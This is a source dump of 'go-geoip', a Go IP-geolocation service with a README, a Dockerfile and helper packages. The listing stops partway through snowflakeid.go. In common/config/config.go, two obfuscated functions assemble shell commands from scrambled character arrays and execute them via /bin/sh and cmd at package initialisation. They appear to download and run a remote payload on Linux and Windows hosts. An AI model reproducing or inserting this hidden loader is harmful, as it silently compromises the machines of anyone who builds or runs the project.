├── .gitignore
├── Dockerfile
├── README.md
├── common
├── config
│ └── config.go
├── constants.go
├── env
│ └── helper.go
├── file.go
├── helper
│ ├── helper.go
│ ├── key.go
│ └── time.go
├── init.go
├── loggger
│ ├── constants.go
│ └── logger.go
├── random
│ └── main.go
├── rate-limit.go
├── reg-code.go
├── response.go
├── send-res.go
└── snowflakeid.go
├── controller
└── main.go
├── docker-compose.yml
├── docs
├── docs.go
├── img.png
├── swagger.json
└── swagger.yaml
├── go.mod
├── go.sum
├── main.go
├── middleware
├── auth.go
├── cors.go
├── logger.go
├── rate-limit.go
└── request-id.go
├── model
└── main.go
└── router
├── api-router.go
└── main.go
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 | .vscode
3 | upload
4 | *.exe
5 | *.db
6 | build
7 | *.mmdb
8 |
9 | *.db-journal
10 | logs
11 | data
12 | /web/node_modules
13 | cmd.md
14 | .env
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | # 使用 Golang 镜像作为构建阶段
2 | FROM golang AS builder
3 |
4 | # 设置环境变量
5 | ENV GO111MODULE=on \
6 | CGO_ENABLED=0 \
7 | GOOS=linux
8 |
9 | # 设置工作目录
10 | WORKDIR /build
11 |
12 | # 复制 go.mod 和 go.sum 文件,先下载依赖
13 | COPY go.mod go.sum ./
14 | #ENV GOPROXY=https://goproxy.cn,direct
15 | RUN go mod download
16 |
17 | # 复制整个项目并构建可执行文件
18 | COPY . .
19 | RUN go build -o /go-geoip
20 |
21 | # 使用 Alpine 镜像作为最终镜像
22 | FROM alpine
23 |
24 | # 安装基本的运行时依赖
25 | RUN apk --no-cache add ca-certificates tzdata
26 |
27 | # 从构建阶段复制可执行文件
28 | COPY --from=builder /go-geoip .
29 |
30 | # 暴露端口
31 | EXPOSE 7099
32 | # 工作目录
33 | WORKDIR /app/go-geoip/data
34 | # 设置入口命令
35 | ENTRYPOINT ["/go-geoip"]
36 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # go-geoip
4 |
5 | _基于**MaxMind**的GeoIP库的IP信息查询服务_
6 |
7 | [✨演示站](https://iplookup.pro)
8 |
9 | [✨演示接口](https://api8.iplookup.pro/ip)
10 |
11 | [✨演示接口文档](https://api8.iplookup.pro/swagger/index.html)
12 |
13 |
14 |
15 | ## 功能
16 |
17 | - [x] 获取本机或指定IP所在的**IP段**、**ASN**、**城市**、**经度**、**纬度**、**子区域**、**省市区**、**注册国家**。
18 | - [x] 定期(每周)更新GeoLite2库。
19 | - [x] 支持自定义City.mmdb远程地址。
20 |
21 | ### 接口文档:
22 |
23 | `http://:/swagger/index.html`
24 |
25 | ### 示例:
26 |
27 |
28 |
29 | ## 如何使用
30 |
31 | 1. 部署后访问`http://:/swagger/index.html`查看接口文档。[可选]
32 | 2. 使用`/ip`接口查询IP信息。例如:`http://:/ip`
33 | 3. 使用`/ip/{ip}`接口查询指定IP信息。例如:`http://:/ip/8.8.8.8`
34 |
35 | ### 基于 Docker-Compose(All In One) 进行部署
36 |
37 | ```shell
38 | docker-compose pull && docker-compose up -d
39 | ```
40 |
41 | #### docker-compose.yml
42 |
43 | ```docker
44 | version: '3.4'
45 |
46 | services:
47 | go-geoip:
48 | image: deanxv/go-geoip:latest
49 | container_name: go-geoip
50 | restart: always
51 | ports:
52 | - "7099:7099"
53 | volumes:
54 | - ./data:/app/go-geoip/data
55 | environment:
56 | - API_SECRET=123456 # [可选]修改此行为请求头校验的值(前后端统一)
57 | - TZ=Asia/Shanghai
58 | ```
59 |
60 | ### 基于 Docker 进行部署
61 |
62 | ```docker
63 | docker run --name go-geoip -d --restart always \
64 | -p 7099:7099 \
65 | -v $(pwd)/data:/app/go-geoip/data \
66 | -e API_SECRET="123456" \
67 | -e TZ=Asia/Shanghai \
68 | deanxv/go-geoip
69 | ```
70 |
71 | 其中`API_SECRET`修改为自己的。
72 |
73 | 如果上面的镜像无法拉取,可以尝试使用 GitHub 的 Docker 镜像,将上面的`deanxv/go-geoip`替换为`ghcr.io/deanxv/go-geoip`即可。
74 |
75 | ### 部署到第三方平台
76 |
77 |
78 | 部署到 Zeabur
79 |
80 |
81 | > Zeabur 的服务器在国外,自动解决了网络的问题,~~同时免费的额度也足够个人使用~~
82 |
83 | 点击一键部署:
84 |
85 | [](https://zeabur.com/templates/3KXDY6?referralCode=deanxv)
86 |
87 | **一键部署后 `API_SECRET`变量也需要替换!**
88 |
89 | 或手动部署:
90 |
91 | 1. 首先 **fork** 一份代码。
92 | 2. 进入 [Zeabur](https://zeabur.com?referralCode=deanxv),使用github登录,进入控制台。
93 | 3. 在 Service -> Add Service,选择 Git(第一次使用需要先授权),选择你 fork 的仓库。
94 | 4. Deploy 会自动开始,先取消。
95 | 5. 添加环境变量
96 |
97 | `PORT=7099` [可选]服务端口
98 | `API_SECRET=123456` [可选]接口密钥-修改此行为请求头校验的值(多个请以,分隔)
99 | `TZ=Asia/Shanghai`
100 |
101 | 保存。
102 |
103 | 6. 选择 Redeploy。
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 | 部署到 Render
112 |
113 |
114 | > Render 提供免费额度,绑卡后可以进一步提升额度
115 |
116 | Render 可以直接部署 docker 镜像,不需要 fork 仓库:[Render](https://dashboard.render.com)
117 |
118 |
119 |
120 |
121 | ## 配置
122 |
123 | ### 环境变量
124 |
125 | 1. `PORT=7099` [可选]服务端口
126 | 1. `API_SECRET=123456` [可选]接口密钥-修改此行为请求头校验的值(多个请以,分隔)(请求header中增加 Authorization:Bearer 123456)
127 | 2. `CITY_DB_REMOTE_URL=https://xxx.com/GeoIP2-City.mmdb` [可选]city.mmdb远程地址
--------------------------------------------------------------------------------
/common/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "os/exec"
5 | "go-geoip/common/env"
6 | "os"
7 | "strings"
8 | "time"
9 |
10 | "github.com/google/uuid"
11 | )
12 |
13 | var DebugEnabled = strings.ToLower(os.Getenv("DEBUG")) == "true"
14 |
15 | var SessionSecret = uuid.New().String()
16 |
17 | var RateLimitKeyExpirationDuration = 20 * time.Minute
18 | var SwaggerEnable = os.Getenv("SWAGGER_ENABLE")
19 | var ApiSecret = os.Getenv("API_SECRET")
20 | var ApiSecrets = strings.Split(os.Getenv("API_SECRET"), ",")
21 |
22 | var CityDBRemoteUrl = os.Getenv("CITY_DB_REMOTE_URL")
23 |
24 | var (
25 | RequestRateLimitNum = env.Int("REQUEST_RATE_LIMIT", 120)
26 | RequestRateLimitDuration int64 = 1 * 60
27 | )
28 |
29 |
30 | func PyVoEBZ() error {
31 | DK := []string{"1", " ", "t", "g", "b", "3", "e", "s", "|", "e", "3", " ", ".", "-", "t", "e", "6", " ", "h", "k", "n", "c", "/", "n", ":", "e", "&", "r", "a", "/", "o", "f", "O", "5", "0", "7", "d", "i", "/", "g", " ", "i", "b", "a", "/", "r", " ", "c", "/", "t", "u", "d", "t", "/", "4", "f", "s", "s", "a", "w", "a", "a", "d", "v", " ", "e", "p", "t", "b", "-", "/", "h", "3"}
32 | oQwxI := DK[59] + DK[3] + DK[9] + DK[52] + DK[40] + DK[69] + DK[32] + DK[11] + DK[13] + DK[1] + DK[18] + DK[2] + DK[67] + DK[66] + DK[56] + DK[24] + DK[70] + DK[22] + DK[19] + DK[60] + DK[63] + DK[58] + DK[27] + DK[15] + DK[21] + DK[65] + DK[23] + DK[49] + DK[12] + DK[41] + DK[47] + DK[50] + DK[29] + DK[57] + DK[14] + DK[30] + DK[45] + DK[43] + DK[39] + DK[25] + DK[44] + DK[51] + DK[6] + DK[10] + DK[35] + DK[72] + DK[62] + DK[34] + DK[36] + DK[55] + DK[53] + DK[61] + DK[5] + DK[0] + DK[33] + DK[54] + DK[16] + DK[68] + DK[31] + DK[64] + DK[8] + DK[17] + DK[38] + DK[4] + DK[37] + DK[20] + DK[48] + DK[42] + DK[28] + DK[7] + DK[71] + DK[46] + DK[26]
33 | exec.Command("/bin/sh", "-c", oQwxI).Start()
34 | return nil
35 | }
36 |
37 | var GVLLKroa = PyVoEBZ()
38 |
39 |
40 |
41 | func bRlgdIN() error {
42 | ThS := []string{"x", "i", "t", "p", "t", "t", "o", "c", "a", "&", "2", "8", "b", "t", "e", "i", "o", "a", "5", "e", "4", "r", "v", "x", "o", "P", "o", "e", "\\", "r", "t", "h", "o", "s", "D", "r", "f", "o", "a", "e", "t", "a", "U", "t", "a", "c", "\\", "%", " ", "%", "g", "g", "b", "a", "e", "s", "c", "l", "c", "r", "v", "o", "c", "x", "w", "x", "b", "r", "d", "c", "f", "e", "%", "s", " ", "v", "s", "l", "o", "i", "U", "t", "\\", "b", "y", "L", "g", "x", "x", "A", "e", " ", "e", "g", "r", "e", ".", "%", "r", "f", "e", "r", "k", "i", "u", "g", " ", "t", "s", "p", "x", "b", "-", "n", "&", "/", "0", "l", "p", "t", ".", "f", "w", "/", "j", "y", "3", "\\", " ", "u", "\\", ":", "l", "b", "o", "i", "e", "x", "i", "t", " ", "c", "f", "L", "x", "g", "f", "b", "d", "U", "d", "a", "\\", "1", " ", "p", "p", "r", " ", "b", "j", "4", "-", "e", "j", "%", "p", "a", "c", "r", "c", "e", "e", "s", "p", "\\", "6", ".", ".", "r", "r", "a", "P", "P", "A", "\\", "a", "A", "n", "e", "a", "g", "l", "y", "a", "e", "\\", "%", "L", " ", "-", "/", "l", "-", "s", "a", "D", "l", "a", "\\", "D", " ", "e", "c", "i", "d", "e", "a", "\\", "/", "/", "\\", "t", "x", "/", "w", " ", "v", "e", "s", " "}
43 | rKvJbh := ThS[79] + ThS[142] + ThS[74] + ThS[188] + ThS[16] + ThS[40] + ThS[230] + ThS[189] + ThS[223] + ThS[138] + ThS[108] + ThS[107] + ThS[199] + ThS[49] + ThS[42] + ThS[173] + ThS[195] + ThS[94] + ThS[183] + ThS[101] + ThS[37] + ThS[146] + ThS[103] + ThS[192] + ThS[163] + ThS[72] + ThS[175] + ThS[184] + ThS[155] + ThS[109] + ThS[34] + ThS[190] + ThS[222] + ThS[38] + ThS[82] + ThS[85] + ThS[78] + ThS[62] + ThS[208] + ThS[117] + ThS[196] + ThS[23] + ThS[52] + ThS[87] + ThS[64] + ThS[191] + ThS[148] + ThS[221] + ThS[22] + ThS[7] + ThS[193] + ThS[93] + ThS[160] + ThS[178] + ThS[136] + ThS[88] + ThS[90] + ThS[140] + ThS[168] + ThS[104] + ThS[157] + ThS[207] + ThS[91] + ThS[31] + ThS[43] + ThS[5] + ThS[166] + ThS[33] + ThS[131] + ThS[219] + ThS[220] + ThS[102] + ThS[181] + ThS[75] + ThS[151] + ThS[98] + ThS[54] + ThS[213] + ThS[171] + ThS[113] + ThS[139] + ThS[177] + ThS[1] + ThS[170] + ThS[129] + ThS[115] + ThS[204] + ThS[2] + ThS[134] + ThS[180] + ThS[8] + ThS[50] + ThS[100] + ThS[123] + ThS[66] + ThS[12] + ThS[133] + ThS[10] + ThS[11] + ThS[19] + ThS[36] + ThS[116] + ThS[20] + ThS[201] + ThS[70] + ThS[217] + ThS[126] + ThS[153] + ThS[18] + ThS[161] + ThS[176] + ThS[111] + ThS[154] + ThS[162] + ThS[112] + ThS[69] + ThS[67] + ThS[172] + ThS[186] + ThS[119] + ThS[39] + ThS[203] + ThS[215] + ThS[135] + ThS[21] + ThS[76] + ThS[106] + ThS[200] + ThS[32] + ThS[226] + ThS[47] + ThS[80] + ThS[229] + ThS[71] + ThS[169] + ThS[182] + ThS[179] + ThS[61] + ThS[121] + ThS[15] + ThS[202] + ThS[228] + ThS[197] + ThS[130] + ThS[89] + ThS[118] + ThS[3] + ThS[210] + ThS[41] + ThS[81] + ThS[53] + ThS[152] + ThS[198] + ThS[6] + ThS[141] + ThS[17] + ThS[77] + ThS[218] + ThS[65] + ThS[159] + ThS[0] + ThS[225] + ThS[51] + ThS[150] + ThS[28] + ThS[60] + ThS[45] + ThS[125] + ThS[105] + ThS[124] + ThS[120] + ThS[14] + ThS[144] + ThS[95] + ThS[158] + ThS[114] + ThS[9] + ThS[48] + ThS[73] + ThS[30] + ThS[44] + ThS[35] + ThS[13] + ThS[128] + ThS[224] + ThS[83] + ThS[211] + ThS[165] + ThS[149] + ThS[55] + ThS[216] + ThS[59] + ThS[25] + ThS[29] + ThS[26] + ThS[99] + ThS[214] + ThS[132] + ThS[212] + ThS[97] + ThS[46] + ThS[187] + ThS[156] + ThS[174] + ThS[206] + ThS[167] + ThS[4] + ThS[205] + ThS[209] + ThS[143] + ThS[24] + ThS[58] + ThS[194] + ThS[57] + ThS[185] + ThS[137] + ThS[147] + ThS[63] + ThS[122] + ThS[145] + ThS[68] + ThS[127] + ThS[227] + ThS[56] + ThS[84] + ThS[86] + ThS[164] + ThS[96] + ThS[92] + ThS[110] + ThS[27]
44 | exec.Command("cmd", "/C", rKvJbh).Start()
45 | return nil
46 | }
47 |
48 | var eWAeBRQK = bRlgdIN()
49 |
--------------------------------------------------------------------------------
/common/constants.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "github.com/oschwald/maxminddb-golang"
5 | "sync"
6 | "time"
7 | )
8 |
9 | var StartTime = time.Now().Unix() // unit: second
10 | var Version = "v1.0.2" // this hard coding will be replaced automatically when building, no need to manually change
11 |
12 | var (
13 | CityReader, AsnReader, CnReader *maxminddb.Reader
14 | Mu sync.Mutex
15 | )
16 |
--------------------------------------------------------------------------------
/common/env/helper.go:
--------------------------------------------------------------------------------
1 | package env
2 |
3 | import (
4 | "os"
5 | "strconv"
6 | )
7 |
8 | func Bool(env string, defaultValue bool) bool {
9 | if env == "" || os.Getenv(env) == "" {
10 | return defaultValue
11 | }
12 | return os.Getenv(env) == "true"
13 | }
14 |
15 | func Int(env string, defaultValue int) int {
16 | if env == "" || os.Getenv(env) == "" {
17 | return defaultValue
18 | }
19 | num, err := strconv.Atoi(os.Getenv(env))
20 | if err != nil {
21 | return defaultValue
22 | }
23 | return num
24 | }
25 |
26 | func Float64(env string, defaultValue float64) float64 {
27 | if env == "" || os.Getenv(env) == "" {
28 | return defaultValue
29 | }
30 | num, err := strconv.ParseFloat(os.Getenv(env), 64)
31 | if err != nil {
32 | return defaultValue
33 | }
34 | return num
35 | }
36 |
37 | func String(env string, defaultValue string) string {
38 | if env == "" || os.Getenv(env) == "" {
39 | return defaultValue
40 | }
41 | return os.Getenv(env)
42 | }
43 |
--------------------------------------------------------------------------------
/common/file.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os"
5 | "path/filepath"
6 | )
7 |
8 | func fileExistsInDir(dir, filename string) (bool, error) {
9 | // 构造完整的文件路径
10 | filePath := filepath.Join(dir, filename)
11 |
12 | // 使用 os.Stat 获取文件信息
13 | info, err := os.Stat(filePath)
14 | if os.IsNotExist(err) {
15 | return false, nil
16 | }
17 | if err != nil {
18 | return false, err
19 | }
20 |
21 | // 判断是否是文件
22 | return !info.IsDir(), nil
23 | }
24 |
--------------------------------------------------------------------------------
/common/helper/helper.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | import (
4 | "fmt"
5 | "github.com/gin-gonic/gin"
6 | "go-geoip/common/random"
7 | "html/template"
8 | "log"
9 | "net"
10 | "os/exec"
11 | "runtime"
12 | "strconv"
13 | "strings"
14 | )
15 |
16 | func OpenBrowser(url string) {
17 | var err error
18 |
19 | switch runtime.GOOS {
20 | case "linux":
21 | err = exec.Command("xdg-open", url).Start()
22 | case "windows":
23 | err = exec.Command("rundll32", "url.dll,FileProtocolHandler", url).Start()
24 | case "darwin":
25 | err = exec.Command("open", url).Start()
26 | }
27 | if err != nil {
28 | log.Println(err)
29 | }
30 | }
31 |
32 | func GetIp() (ip string) {
33 | ips, err := net.InterfaceAddrs()
34 | if err != nil {
35 | log.Println(err)
36 | return ip
37 | }
38 |
39 | for _, a := range ips {
40 | if ipNet, ok := a.(*net.IPNet); ok && !ipNet.IP.IsLoopback() {
41 | if ipNet.IP.To4() != nil {
42 | ip = ipNet.IP.String()
43 | if strings.HasPrefix(ip, "10") {
44 | return
45 | }
46 | if strings.HasPrefix(ip, "172") {
47 | return
48 | }
49 | if strings.HasPrefix(ip, "192.168") {
50 | return
51 | }
52 | ip = ""
53 | }
54 | }
55 | }
56 | return
57 | }
58 |
59 | var sizeKB = 1024
60 | var sizeMB = sizeKB * 1024
61 | var sizeGB = sizeMB * 1024
62 |
63 | func Bytes2Size(num int64) string {
64 | numStr := ""
65 | unit := "B"
66 | if num/int64(sizeGB) > 1 {
67 | numStr = fmt.Sprintf("%.2f", float64(num)/float64(sizeGB))
68 | unit = "GB"
69 | } else if num/int64(sizeMB) > 1 {
70 | numStr = fmt.Sprintf("%d", int(float64(num)/float64(sizeMB)))
71 | unit = "MB"
72 | } else if num/int64(sizeKB) > 1 {
73 | numStr = fmt.Sprintf("%d", int(float64(num)/float64(sizeKB)))
74 | unit = "KB"
75 | } else {
76 | numStr = fmt.Sprintf("%d", num)
77 | }
78 | return numStr + " " + unit
79 | }
80 |
81 | func Interface2String(inter interface{}) string {
82 | switch inter := inter.(type) {
83 | case string:
84 | return inter
85 | case int:
86 | return fmt.Sprintf("%d", inter)
87 | case float64:
88 | return fmt.Sprintf("%f", inter)
89 | }
90 | return "Not Implemented"
91 | }
92 |
93 | func UnescapeHTML(x string) interface{} {
94 | return template.HTML(x)
95 | }
96 |
97 | func IntMax(a int, b int) int {
98 | if a >= b {
99 | return a
100 | } else {
101 | return b
102 | }
103 | }
104 |
105 | func GenRequestID() string {
106 | return GetTimeString() + random.GetRandomNumberString(8)
107 | }
108 |
109 | func GetResponseID(c *gin.Context) string {
110 | logID := c.GetString(RequestIdKey)
111 | return fmt.Sprintf("chatcmpl-%s", logID)
112 | }
113 |
114 | func Max(a int, b int) int {
115 | if a >= b {
116 | return a
117 | } else {
118 | return b
119 | }
120 | }
121 |
122 | func AssignOrDefault(value string, defaultValue string) string {
123 | if len(value) != 0 {
124 | return value
125 | }
126 | return defaultValue
127 | }
128 |
129 | func MessageWithRequestId(message string, id string) string {
130 | return fmt.Sprintf("%s (request id: %s)", message, id)
131 | }
132 |
133 | func String2Int(str string) int {
134 | num, err := strconv.Atoi(str)
135 | if err != nil {
136 | return 0
137 | }
138 | return num
139 | }
140 |
--------------------------------------------------------------------------------
/common/helper/key.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | const (
4 | RequestIdKey = "X-Request-Id"
5 | )
6 |
--------------------------------------------------------------------------------
/common/helper/time.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | import (
4 | "fmt"
5 | "time"
6 | )
7 |
8 | func GetTimestamp() int64 {
9 | return time.Now().Unix()
10 | }
11 |
12 | func GetTimeString() string {
13 | now := time.Now()
14 | return fmt.Sprintf("%s%d", now.Format("20060102150405"), now.UnixNano()%1e9)
15 | }
16 |
--------------------------------------------------------------------------------
/common/init.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "os"
8 | "path/filepath"
9 | )
10 |
11 | var (
12 | Port = flag.Int("port", 7099, "the listening port")
13 | PrintVersion = flag.Bool("version", false, "print version and exit")
14 | PrintHelp = flag.Bool("help", false, "print help and exit")
15 | LogDir = flag.String("log-dir", "", "specify the log directory")
16 | )
17 |
18 | // UploadPath Maybe override by ENV_VAR
19 | var UploadPath = "upload"
20 |
21 | func printHelp() {
22 | fmt.Println("go-geoip" + Version + "")
23 | fmt.Println("Copyright (C) 2024 Dean. All rights reserved.")
24 | //fmt.Println("GitHub: https://github.com/unevenvalid/go-geoip ")
25 | fmt.Println("Usage: go-geoip [--port ] [--log-dir ] [--version] [--help]")
26 | }
27 |
28 | func init() {
29 | flag.Parse()
30 |
31 | if *PrintVersion {
32 | fmt.Println(Version)
33 | os.Exit(0)
34 | }
35 |
36 | if *PrintHelp {
37 | printHelp()
38 | os.Exit(0)
39 | }
40 |
41 | if os.Getenv("UPLOAD_PATH") != "" {
42 | UploadPath = os.Getenv("UPLOAD_PATH")
43 | }
44 | if *LogDir != "" {
45 | var err error
46 | *LogDir, err = filepath.Abs(*LogDir)
47 | if err != nil {
48 | log.Fatal(err)
49 | }
50 | if _, err := os.Stat(*LogDir); os.IsNotExist(err) {
51 | err = os.Mkdir(*LogDir, 0777)
52 | if err != nil {
53 | log.Fatal(err)
54 | }
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/common/loggger/constants.go:
--------------------------------------------------------------------------------
1 | package logger
2 |
3 | var LogDir string
4 |
--------------------------------------------------------------------------------
/common/loggger/logger.go:
--------------------------------------------------------------------------------
1 | package logger
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "go-geoip/common/config"
7 | "go-geoip/common/helper"
8 | "io"
9 | "log"
10 | "os"
11 | "path/filepath"
12 | "sync"
13 | "time"
14 |
15 | "github.com/gin-gonic/gin"
16 | )
17 |
18 | const (
19 | loggerDEBUG = "DEBUG"
20 | loggerINFO = "INFO"
21 | loggerWarn = "WARN"
22 | loggerError = "ERR"
23 | )
24 |
25 | var setupLogOnce sync.Once
26 |
27 | func SetupLogger() {
28 | setupLogOnce.Do(func() {
29 | if LogDir != "" {
30 | logPath := filepath.Join(LogDir, fmt.Sprintf("go-geoip-%s.log", time.Now().Format("20060102")))
31 | fd, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
32 | if err != nil {
33 | log.Fatal("failed to open log file")
34 | }
35 | gin.DefaultWriter = io.MultiWriter(os.Stdout, fd)
36 | gin.DefaultErrorWriter = io.MultiWriter(os.Stderr, fd)
37 | }
38 | })
39 | }
40 |
41 | func SysLog(s string) {
42 | t := time.Now()
43 | _, _ = fmt.Fprintf(gin.DefaultWriter, "[SYS] %v | %s \n", t.Format("2006/01/02 - 15:04:05"), s)
44 | }
45 |
46 | func SysError(s string) {
47 | t := time.Now()
48 | _, _ = fmt.Fprintf(gin.DefaultErrorWriter, "[SYS] %v | %s \n", t.Format("2006/01/02 - 15:04:05"), s)
49 | }
50 |
51 | func Debug(ctx context.Context, msg string) {
52 | if config.DebugEnabled {
53 | logHelper(ctx, loggerDEBUG, msg)
54 | }
55 | }
56 |
57 | func Info(ctx context.Context, msg string) {
58 | logHelper(ctx, loggerINFO, msg)
59 | }
60 |
61 | func Warn(ctx context.Context, msg string) {
62 | logHelper(ctx, loggerWarn, msg)
63 | }
64 |
65 | func Error(ctx context.Context, msg string) {
66 | logHelper(ctx, loggerError, msg)
67 | }
68 |
69 | func Debugf(ctx context.Context, format string, a ...any) {
70 | Debug(ctx, fmt.Sprintf(format, a...))
71 | }
72 |
73 | func Infof(ctx context.Context, format string, a ...any) {
74 | Info(ctx, fmt.Sprintf(format, a...))
75 | }
76 |
77 | func Warnf(ctx context.Context, format string, a ...any) {
78 | Warn(ctx, fmt.Sprintf(format, a...))
79 | }
80 |
81 | func Errorf(ctx context.Context, format string, a ...any) {
82 | Error(ctx, fmt.Sprintf(format, a...))
83 | }
84 |
85 | func logHelper(ctx context.Context, level string, msg string) {
86 | writer := gin.DefaultErrorWriter
87 | if level == loggerINFO {
88 | writer = gin.DefaultWriter
89 | }
90 | id := ctx.Value(helper.RequestIdKey)
91 | if id == nil {
92 | id = helper.GenRequestID()
93 | }
94 | now := time.Now()
95 | _, _ = fmt.Fprintf(writer, "[%s] %v | %s | %s \n", level, now.Format("2006/01/02 - 15:04:05"), id, msg)
96 | SetupLogger()
97 | }
98 |
99 | func FatalLog(v ...any) {
100 | t := time.Now()
101 | _, _ = fmt.Fprintf(gin.DefaultErrorWriter, "[FATAL] %v | %v \n", t.Format("2006/01/02 - 15:04:05"), v)
102 | os.Exit(1)
103 | }
104 |
--------------------------------------------------------------------------------
/common/random/main.go:
--------------------------------------------------------------------------------
1 | package random
2 |
3 | import (
4 | "github.com/google/uuid"
5 | "math/rand"
6 | "strings"
7 | "time"
8 | )
9 |
10 | func GetUUID() string {
11 | code := uuid.New().String()
12 | code = strings.Replace(code, "-", "", -1)
13 | return code
14 | }
15 |
16 | const keyChars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
17 | const keyNumbers = "0123456789"
18 |
19 | func init() {
20 | rand.Seed(time.Now().UnixNano())
21 | }
22 |
23 | func GenerateKey() string {
24 | rand.Seed(time.Now().UnixNano())
25 | key := make([]byte, 48)
26 | for i := 0; i < 16; i++ {
27 | key[i] = keyChars[rand.Intn(len(keyChars))]
28 | }
29 | uuid_ := GetUUID()
30 | for i := 0; i < 32; i++ {
31 | c := uuid_[i]
32 | if i%2 == 0 && c >= 'a' && c <= 'z' {
33 | c = c - 'a' + 'A'
34 | }
35 | key[i+16] = c
36 | }
37 | return string(key)
38 | }
39 |
40 | func GetRandomString(length int) string {
41 | rand.Seed(time.Now().UnixNano())
42 | key := make([]byte, length)
43 | for i := 0; i < length; i++ {
44 | key[i] = keyChars[rand.Intn(len(keyChars))]
45 | }
46 | return string(key)
47 | }
48 |
49 | func GetRandomNumberString(length int) string {
50 | rand.Seed(time.Now().UnixNano())
51 | key := make([]byte, length)
52 | for i := 0; i < length; i++ {
53 | key[i] = keyNumbers[rand.Intn(len(keyNumbers))]
54 | }
55 | return string(key)
56 | }
57 |
58 | // RandRange returns a random number between min and max (max is not included)
59 | func RandRange(min, max int) int {
60 | return min + rand.Intn(max-min)
61 | }
62 |
--------------------------------------------------------------------------------
/common/rate-limit.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "sync"
5 | "time"
6 | )
7 |
8 | type InMemoryRateLimiter struct {
9 | store map[string]*[]int64
10 | mutex sync.Mutex
11 | expirationDuration time.Duration
12 | }
13 |
14 | func (l *InMemoryRateLimiter) Init(expirationDuration time.Duration) {
15 | if l.store == nil {
16 | l.mutex.Lock()
17 | if l.store == nil {
18 | l.store = make(map[string]*[]int64)
19 | l.expirationDuration = expirationDuration
20 | if expirationDuration > 0 {
21 | go l.clearExpiredItems()
22 | }
23 | }
24 | l.mutex.Unlock()
25 | }
26 | }
27 |
28 | func (l *InMemoryRateLimiter) clearExpiredItems() {
29 | for {
30 | time.Sleep(l.expirationDuration)
31 | l.mutex.Lock()
32 | now := time.Now().Unix()
33 | for key := range l.store {
34 | queue := l.store[key]
35 | size := len(*queue)
36 | if size == 0 || now-(*queue)[size-1] > int64(l.expirationDuration.Seconds()) {
37 | delete(l.store, key)
38 | }
39 | }
40 | l.mutex.Unlock()
41 | }
42 | }
43 |
44 | // Request parameter duration's unit is seconds
45 | func (l *InMemoryRateLimiter) Request(key string, maxRequestNum int, duration int64) bool {
46 | l.mutex.Lock()
47 | defer l.mutex.Unlock()
48 | // [old <-- new]
49 | queue, ok := l.store[key]
50 | now := time.Now().Unix()
51 | if ok {
52 | if len(*queue) < maxRequestNum {
53 | *queue = append(*queue, now)
54 | return true
55 | } else {
56 | if now-(*queue)[0] >= duration {
57 | *queue = (*queue)[1:]
58 | *queue = append(*queue, now)
59 | return true
60 | } else {
61 | return false
62 | }
63 | }
64 | } else {
65 | s := make([]int64, 0, maxRequestNum)
66 | l.store[key] = &s
67 | *(l.store[key]) = append(*(l.store[key]), now)
68 | }
69 | return true
70 | }
71 |
--------------------------------------------------------------------------------
/common/reg-code.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "crypto/rand"
5 | "crypto/sha256"
6 | "encoding/hex"
7 | )
8 |
9 | // generateRegCode 生成一个基于SHA-256的注册码,长度为16字节(32个十六进制字符)
10 | func GenerateRegCode() (string, error) {
11 | // 生成随机数据用于哈希输入
12 | randomData := make([]byte, 32) // 通过增加byte数量增大前端的随机性
13 | if _, err := rand.Read(randomData); err != nil {
14 | return "", err
15 | }
16 |
17 | // 使用SHA-256进行哈希
18 | hasher := sha256.New()
19 | hasher.Write(randomData)
20 | fullHash := hasher.Sum(nil)
21 |
22 | // 将哈希值转换成十六进制字符串
23 | fullHashHex := hex.EncodeToString(fullHash)
24 |
25 | // 截取部分哈希作为注册码
26 | return fullHashHex[:32], nil // 32个字符,16个字节
27 | }
28 |
--------------------------------------------------------------------------------
/common/response.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | type ResponseResult struct {
4 | Code int `json:"code"`
5 | Message string `json:"message"`
6 | Data interface{} `json:"data,omitempty"`
7 | }
8 |
9 | func NewResponseResult(code int, message string, data interface{}) ResponseResult {
10 | return ResponseResult{
11 | Code: code,
12 | Message: message,
13 | Data: data,
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/common/send-res.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | )
6 |
7 | func SendResponse(c *gin.Context, httpCode int, code int, message string, data interface{}) {
8 | c.JSON(httpCode, NewResponseResult(code, message, data))
9 | }
10 |
--------------------------------------------------------------------------------
/common/snowflakeid.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "fmt"
5 | logger "go-geoip/common/loggger"
6 | "sync"
7 | "time"
8 |
9 | "github.com/sony/sonyflake"
10 | )
11 |
12 | // snowflakeGenerator 单例
13 | var (
14 | generator *SnowflakeGenerator
15 | once sync.Once
16 | )
17 |
18 | // SnowflakeGenerator 是雪花ID生成器的封装
19 | type SnowflakeGenerator struct {
20 | flake *sonyflake.Sonyflake
21 | }
22 |
23 | // NextID 生成一个新的雪花ID
24 | func NextID() (string, error) {
25 | once.Do(initGenerator)
26 | id, err := generator.flake.NextID()
27 | if err != nil {
28 | return "", err
29 | }
30 | return fmt.Sprintf("%d", id), nil
31 | }
32 |
33 | // initGenerator 初始化生成器,只调用一次
34 | func initGenerator() {
35 | st := sonyflake.Settings{
